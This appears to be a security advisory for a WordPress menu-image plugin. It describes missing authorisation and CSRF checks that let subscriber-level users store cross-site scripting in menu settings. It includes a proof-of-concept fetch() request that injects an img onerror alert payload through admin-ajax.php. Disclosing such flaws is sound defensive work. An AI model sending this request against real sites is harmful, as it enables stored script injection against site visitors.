The plugin does not have authorisation and CSRF checks when saving menu settings, and does not validate, sanitise and escape them. As a result, any authenticate users, such as subscriber can update the settings or arbitrary menu and put Cross-Site Scripting payloads in them which will be triggered in the related menu in the frontend
The menu_item_id needs to be valid (to enable a menu image, see https://www.freshlightlab.com/documentation/menu-image-docs/how-to-enable-menu-image/)
fetch("https://example.com/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"method": "POST",
"body": "action=set-menu-item-settings&menu_item_id=4&menu_item_image_title_position=after&menu_item_image_type=icon&menu_item_image_size=menu-36x36&menu_item_image_button=false&menu_image_icon=xxx\"><img src onerror=alert(/XSS/)>",
"credentials": "include"
}).then(response => response.text())
.then(data => console.log(data));
The XSS will be triggered in frontend pages where the related menu is output